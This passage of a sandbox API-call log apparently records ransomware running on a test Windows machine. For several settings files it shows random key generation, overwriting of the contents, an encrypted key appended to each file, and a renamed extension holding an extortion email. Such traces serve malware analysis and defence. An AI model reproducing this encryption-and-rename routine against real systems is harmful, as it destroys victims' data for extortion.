dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.067] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{028DE9F5-65F3-4A06-A048-421056F3E421}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.067] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6990 [0196.067] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.067] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6990 | out: hHeap=0x520000) returned 1 [0196.067] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{028DE9F5-65F3-4A06-A048-421056F3E421}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{028de9f5-65f3-4a06-a048-421056f3e421}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.068] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1181) returned 1 [0196.068] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x49d) returned 0x30f6af0 [0196.068] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x49d) returned 0x619440 [0196.068] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x49d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x49d, lpOverlapped=0x0) returned 1 [0196.069] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1181, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.069] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x49d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x49d, lpOverlapped=0x0) returned 1 [0196.069] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.069] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.069] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x49d [0196.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.070] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.070] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.070] CloseHandle (hObject=0x1c24) returned 1 [0196.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0196.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0196.070] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{028DE9F5-65F3-4A06-A048-421056F3E421}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{028de9f5-65f3-4a06-a048-421056f3e421}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{028DE9F5-65F3-4A06-A048-421056F3E421}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{028de9f5-65f3-4a06-a048-421056f3e421}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e60c0 | out: hHeap=0x520000) returned 1 [0196.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1dc0 | out: hHeap=0x520000) returned 1 [0196.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1dc0 [0196.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0196.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0196.073] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.073] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0196.073] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{01ACC6BC-9A3D-49c5-AC7D-0FB9E026C424}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6b08 [0196.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6b08 | out: hHeap=0x520000) returned 1 [0196.074] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{01ACC6BC-9A3D-49c5-AC7D-0FB9E026C424}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{01acc6bc-9a3d-49c5-ac7d-0fb9e026c424}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.074] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1202) returned 1 [0196.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b2) returned 0x30f6af0 [0196.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b2) returned 0x619440 [0196.074] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4b2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b2, lpOverlapped=0x0) returned 1 [0196.075] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1202, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.076] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4b2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b2, lpOverlapped=0x0) returned 1 [0196.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.076] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b2 [0196.076] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.076] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.076] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.076] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.076] CloseHandle (hObject=0x1c24) returned 1 [0196.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0196.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0196.077] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{01ACC6BC-9A3D-49c5-AC7D-0FB9E026C424}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{01acc6bc-9a3d-49c5-ac7d-0fb9e026c424}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{01ACC6BC-9A3D-49c5-AC7D-0FB9E026C424}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{01acc6bc-9a3d-49c5-ac7d-0fb9e026c424}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1dc0 | out: hHeap=0x520000) returned 1 [0196.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1ad0 | out: hHeap=0x520000) returned 1 [0196.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1ad0 [0196.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0196.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0196.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.079] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0042AE00-17CC-42EC-B5AD-B8F08A025D71}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1dc0 [0196.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1dc0 | out: hHeap=0x520000) returned 1 [0196.079] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0042AE00-17CC-42EC-B5AD-B8F08A025D71}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0042ae00-17cc-42ec-b5ad-b8f08a025d71}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.080] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1006) returned 1 [0196.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ee) returned 0x30f6af0 [0196.080] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ee) returned 0x619440 [0196.080] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ee, lpOverlapped=0x0) returned 1 [0196.081] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.081] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ee, lpOverlapped=0x0) returned 1 [0196.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.081] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ee [0196.081] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.081] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.082] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.082] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.082] CloseHandle (hObject=0x1c24) returned 1 [0196.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0196.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0196.082] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0042AE00-17CC-42EC-B5AD-B8F08A025D71}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0042ae00-17cc-42ec-b5ad-b8f08a025d71}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0042AE00-17CC-42EC-B5AD-B8F08A025D71}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0042ae00-17cc-42ec-b5ad-b8f08a025d71}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1ad0 | out: hHeap=0x520000) returned 1 [0196.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1958 | out: hHeap=0x520000) returned 1 [0196.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x30e67a8 [0196.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0196.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0196.084] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.084] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.084] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AddOrRemovePrograms.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x140) returned 0x30e5470 [0196.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1de) returned 0x30f68c0 [0196.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5470 | out: hHeap=0x520000) returned 1 [0196.085] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AddOrRemovePrograms.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\addorremoveprograms.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.085] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=818) returned 1 [0196.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x332) returned 0x30f6aa8 [0196.085] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x332) returned 0x619440 [0196.086] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6aa8, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6aa8*, lpNumberOfBytesRead=0x2e1f9bc*=0x332, lpOverlapped=0x0) returned 1 [0196.087] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.087] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x332, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x332, lpOverlapped=0x0) returned 1 [0196.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6aa8 | out: hHeap=0x520000) returned 1 [0196.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0196.087] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x332 [0196.087] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.087] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.088] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.088] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.088] CloseHandle (hObject=0x1c24) returned 1 [0196.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0196.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0196.088] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AddOrRemovePrograms.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\addorremoveprograms.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AddOrRemovePrograms.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\addorremoveprograms.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0196.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0196.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e67a8 | out: hHeap=0x520000) returned 1 [0196.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2fbebc0 | out: hHeap=0x520000) returned 1 [0196.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1958 [0196.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0196.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0196.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.090] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Workplace_RelatedSettings.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e1ad0 [0196.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0196.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e1ad0 | out: hHeap=0x520000) returned 1 [0196.091] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Workplace_RelatedSettings.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_workplace_relatedsettings.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0196.091] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1260) returned 1 [0196.091] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4ec) returned 0x30f6af0 [0196.091] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4ec) returned 0x30f07c0 [0196.091] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4ec, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ec, lpOverlapped=0x0) returned 1 [0196.092] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1260, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.092] WriteFile (in: hFile=0x1c24, lpBuffer=0x30f07c0*, nNumberOfBytesToWrite=0x4ec, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f07c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ec, lpOverlapped=0x0) returned 1 [0196.092] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0196.092] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f07c0 | out: hHeap=0x520000) returned 1 [0196.092] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ec [0196.093] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.093] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, 